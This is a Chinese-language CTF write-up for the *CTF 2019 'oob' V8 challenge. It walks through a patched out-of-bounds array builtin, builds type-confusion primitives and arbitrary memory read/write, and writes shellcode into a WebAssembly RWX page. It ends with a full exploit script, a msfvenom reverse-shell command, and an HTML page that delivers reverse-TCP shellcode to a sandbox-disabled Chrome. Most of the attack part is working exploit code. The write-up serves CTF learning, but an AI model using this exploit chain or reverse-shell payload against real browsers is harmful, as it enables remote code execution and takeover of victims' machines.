starctf 2019 oob

出题形式

一般浏览器的出题有两种,

一种是diff修改v8引擎源代码,人为制造出一个漏洞,

另一种是直接采用某个cve漏洞。

 

一般在大型比赛中会直接采用第二种方式,更考验选手的实战能力

 

 

出题者通常会提供一个diff文件,或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件,就需要我们自己去下载相关的commit源码,然后本地打上diff补丁,编译出浏览器程序,再进行本地调试

 

git apply < oob.diff

  

应用补丁,然后再编译即可

思路

1 分析漏洞

2 实现任意地址读写

3 利用wasm执行shellcode

分析diff

star ctf oob题目举例

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
\
/* ArrayBuffer */                                                            \
/* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

  

可以看到给array对象新加了一个oob函数

a.oob()    会直接越界8字节返回一个8字节数据

a.oob(xxx)    会把xxx写入到越界的那8字节去

利用8字节数组越界

使用如下代码时,越界8字节刚好是array对象的map字段

var a = [1,2,3,1.1];        // 最后需要是浮点数
%DebugPrint(a);
%SystemBreak();

  

测试是否符合我们的想法

var a = [1,2,3,1.1];
%DebugPrint(a);
%SystemBreak();
var data = a.oob();
console.log("[*] oob return data:" + data.toString());
%SystemBreak();
a.oob(2);
%SystemBreak();

  

覆盖map属性的利用,类型混淆

可以覆盖map属性,可以造成类型混淆

实现addressOf和fakeObject

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}


var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

// 泄露指定对象的地址
// 把对象数组变成浮点数组
function addressOf(obj_to_leak){
    obj_array[0] = obj_to_leak;
    // type(obj)-->type(float)
    obj_array.oob(float_array_map);
    let addr = f2i(obj_array[0])-1n;
    obj_array.oob(obj_array_map);
    return addr;
}

// 返回一个位于指定地址的对象
// 把浮点数组变成对象数组
function fakeObject(addr_to_fake){
    float_array[0] = i2f(addr_to_fake+1n);
    // type(float)-->type(obj)
    float_array.oob(obj_array_map);
    let fake_obj = float_array[0];
    float_array.oob(float_array_map);
    return fake_obj;
}

  

实现任意地址读写

如果我们能够控制某块内存的内容,同时把这块内存伪造成一个虚假的对象——这里就是浮点数组对象,那么这个数组对象的element属性是可以控制的,通过控制该属性的值就可以做到任意地址读写了

// read & write anywhere
// 这是一块我们可以控制的内存
var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),// fake obj's elements ptr
    i2f(0x1000000000n),
    1.1,
    2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
// 数据真正的起始点
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    return leak_data;
}
// 任意地址写
function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);    
}

  

通过上面的方式任意地址写,在写0x7fxxxx这样的高地址的时候会出现问题,地址的低位会被修改,导致出现访问异常。这里有另外一种方式来解决这个问题,DataView对象中的backing_store会指向申请的data_buf,修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
    write64(buf_backing_store_addr, addr);
    data_view.setBigUint64(0, data, true);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}

  

getshell

常规pwn题思路

由于已经具有任意地址读写的能力了,那么泄露出来libc地址然后改__free_hook为system就可以了

 

不稳定泄漏内存的方式

任意的创建一个数组,输出数组的地址后,往前搜索内存,会发现在其前面0x8000处附近的内存中存放了程序的地址,由此可以算出来程序基址。接着任意地址读泄露libc,修改__free_hook便可getshell了。

# 数组的地址: 0x00001a72862119d8
# 查看程序段的内存空间
gdb-peda$ vmmap d8
Start              End                Perm  Name
0x00005604d2bd9000 0x00005604d2e70000 r--p  /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d2e70000 0x00005604d3936000 r-xp  /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d3936000 0x00005604d3976000 r--p  /home/em/Desktop/software/v8/out.gn/x64.release/d8
0x00005604d3976000 0x00005604d3980000 rw-p  /home/em/Desktop/software/v8/out.gn/x64.release/d8
# 在指定范围内搜索包含程序地址的地址
gdb-peda$ find 0x5604d2 0x00001a7286201000 0x00001a7286211900
Searching for '0x5604d2' in range: 0x1a7286201000 - 0x1a7286211900
Found 16 results, display max 16 items:
mapped : 0x1a7286201033 --> 0xf80b7100005604d2 
mapped : 0x1a7286201043 --> 0xf81f4900005604d2 
mapped : 0x1a7286201073 --> 0xf80b7100005604d2 
mapped : 0x1a7286201083 --> 0xf81f4900005604d2 
mapped : 0x1a72862010c3 --> 0xf80b7100005604d2 
mapped : 0x1a72862010d3 --> 0xf8080100005604d2 
mapped : 0x1a72862011d3 --> 0xf80b7100005604d2 
mapped : 0x1a72862011e3 --> 0xf81f4900005604d2 
mapped : 0x1a728620120b --> 0xf80b7100005604d2 
mapped : 0x1a728620121b --> 0xf81f4900005604d2 
mapped : 0x1a7286201243 --> 0xf80b7100005604d2 
mapped : 0x1a7286201253 --> 0xf81f4900005604d2 
mapped : 0x1a728620127b --> 0xf80b7100005604d2 
mapped : 0x1a728620128b --> 0xf81f4900005604d2 
mapped : 0x1a72862012b3 --> 0xf80b7100005604d2 
mapped : 0x1a72862012c3 --> 0xf81f4900005604d2 

gdb-peda$ x/10xg 0x1a7286201033-3
0x1a7286201030: 0x00005604d2e7a9c0  0x00003ea297f80b71
0x1a7286201040: 0x00005604d2e7a9c0  0x00003ea297f81f49
0x1a7286201050: 0x0000000a1f95f882  0x0000324a7a29c3d1
0x1a7286201060: 0x00003ea297f80321  0x00003ea297f80b71
0x1a7286201070: 0x00005604d2e7ad20  0x00003ea297f80b71
#搜索出来的地址确实属于程序段
gdb-peda$ vmmap 0x00005604d2e7a9c0
Start              End                Perm  Name
0x00005604d2e70000 0x00005604d3936000 r-xp  /home/em/Desktop/software/v8/out.gn/x64.release/d8
泄漏libc地址的脚本

// leak libc base
var a = [1.1, 2.2, 3.3];
var start_addr = addressOf(a);
var leak_d8_addr = 0n;
start_addr = start_addr-0x8000n;
while(1){
    start_addr = start_addr-8n;
    leak_d8_addr = read64(start_addr);
    if(((leak_d8_addr&0x0000ff0000000fffn)==0x00005600000009c0n)||((leak_d8_addr&0x0000ff0000000fffn)==0x00005500000009c0n)){
        console.log("leak process addr success: "+hex(leak_d8_addr));
        break;
    }
}

  

稳定泄漏的方式

v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。

 

浏览器直接运行shellcode wasm

wasm是让JavaScript直接执行高级语言生成的机器码的一种技术。

https://wasdk.github.io/WasmFiddle/ 可以在线将c转换成wasm并生成js调用代码

 

利用思路

1 加载正常wasm

2 通过addressOf找到wasm地址

3 通过任意地址写修改wasm内容

4 调用wasm

寻找wasm存放代码的地址

通过Function—>shared_info—>WasmExportedFunctionData—>instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址

var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

  

 

shellcode 的生成和写入

var shellcode=[
    0x6e69622fbb48f631n,
    0x5f54535668732f2fn,
    0x050fd231583b6an
];
// 原始的shellcode是
// shellcode = “\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”(23字节)

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

write64(buf_backing_store_addr, rwx_page_addr);  //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
    data_view.setBigUint64(8*i, shellcode[i], true);
f();//调用wasm,实际调用到了shellcode

  

完整的exp

star ctf 2019 oob

// ××××××××1. 无符号64位整数和64位浮点数的转换代码××××××××
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
    obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
    return obj_addr;
}
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map); // 还原array类型以便后续继续使用
    return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [                //伪造一个对象
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),// fake obj's elements ptr
    i2f(0x1000000000n),
    1.1,
    2.2,
];

// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    return leak_data;
}
// 任意地址写
function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    fake_object[0] = i2f(data);    
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
var shellcode=[
0x6e69622fbb48f631n,
0x5f54535668732f2fn,
0x050fd231583b6an
    ];
var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);  //这里写入之前泄露的rwx_page_addr地址
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();

  

远程getshell

生成shellcode

msfvenom -p linux/x64/shell_reverse_tcp LHOST=you_ip_addr LPORT=21000 -f python -o ~/Desktop/tmp/shellcode.txt

  

将js包装成html

启动chrome时需要关闭沙箱 ./chrome –no-sandbox

<!DOCTYPE html>
<html>
<body>

<h2>Hello world!</h2>

<script>
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}


var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// %DebugPrint(float_array_map);
// %SystemBreak();


function addressOf(obj_to_leak){
    obj_array[0] = obj_to_leak;
    // type(obj)-->type(float)
    obj_array.oob(float_array_map);
    let addr = f2i(obj_array[0])-1n;
    obj_array.oob(obj_array_map);
    return addr;
}

function fakeObject(addr_to_fake){
    float_array[0] = i2f(addr_to_fake+1n);
    // type(float)-->type(obj)
    float_array.oob(obj_array_map);
    let fake_obj = float_array[0];
    float_array.oob(float_array_map);
    return fake_obj;
}

// read & write anywhere
var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(0x41414141n),
    i2f(0x1000000000n),
    1.1,
    2.2,
];

var fake_array_addr = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var fake_object = fakeObject(fake_object_addr);
function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let leak_data = f2i(fake_object[0]);
    // console.log("fake obj: 0x"+hex(f2i(fake_object[0])));
    // console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
    return leak_data;
}

function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    // console.log("[*] fakeobj addr: 0x"+hex(addressOf(fake_object)));
    fake_object[0] = i2f(data);
    console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));    
}

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
// %SystemBreak();
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("f addr: 0x"+hex(f_addr));
var shared_info_addr = read64(f_addr+0x18n)-0x1n;
var wasm_exported_function = read64(shared_info_addr+8n)-1n;
var instance_addr = read64(wasm_exported_function+0x10n)-1n;
var rwx_page_addr = read64(instance_addr+0x88n);
console.log("rwx page addr: 0x"+hex(rwx_page_addr));
shellcode = [
0x6a5f026a9958296an,
0xb9489748050f5e01n,
0xbc9ae16808520002n,
0x6a5a106ae6894851n,
0x485e036a050f582an,
0x75050f58216aceffn,
0x2fbb4899583b6af6n,
0x530068732f6e6962n,
0xe689485752e78948n,
0x50fn
    ];
var data_buf = new ArrayBuffer(80);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
f();
</script> 
</body>
</html>

  

posted @ 2020-11-20 11:19  君莫笑hhhhhh  阅读(346)  评论(0编辑  收藏  举报